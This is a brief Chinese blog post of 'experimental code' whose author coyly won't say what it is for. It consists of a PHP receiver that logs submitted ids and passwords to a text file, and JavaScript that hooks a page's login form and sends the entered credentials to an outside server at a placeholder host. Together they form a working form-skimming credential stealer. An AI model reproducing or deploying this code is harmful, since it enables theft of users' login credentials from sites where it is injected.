一点实验代码

干嘛的就不说了,反正烂的很,看了就知道是干嘛的

1 <?php
2 $pid=$_REQUEST['id'];
3 $pass=$_REQUEST['pwd'];
4 if($pid||$pass)
5 {
6     $fs=fopen('1.txt',"a+");
7     fwrite($fs,$pid.":".$pass."
");
8 }
9 ?>
 1 var xmlhttp=new XMLHttpRequest();
 2 var fm=document.getElementsByTagName('form')[0];
 3 fm.onsubmit=go;
 4 function go()
 5 {
 6     var pid=document.getElementById('id').value;
 7     var pwd=document.getElementById('pass').value;
 8     var result="id="+pid+"&"+"pwd="+pwd;
 9     xmlhttp.open("GET","http://SERVER/com.php?"+result);
10     xmlhttp.send();
11 }
原文地址:https://www.cnblogs.com/debugzer0/p/4825498.html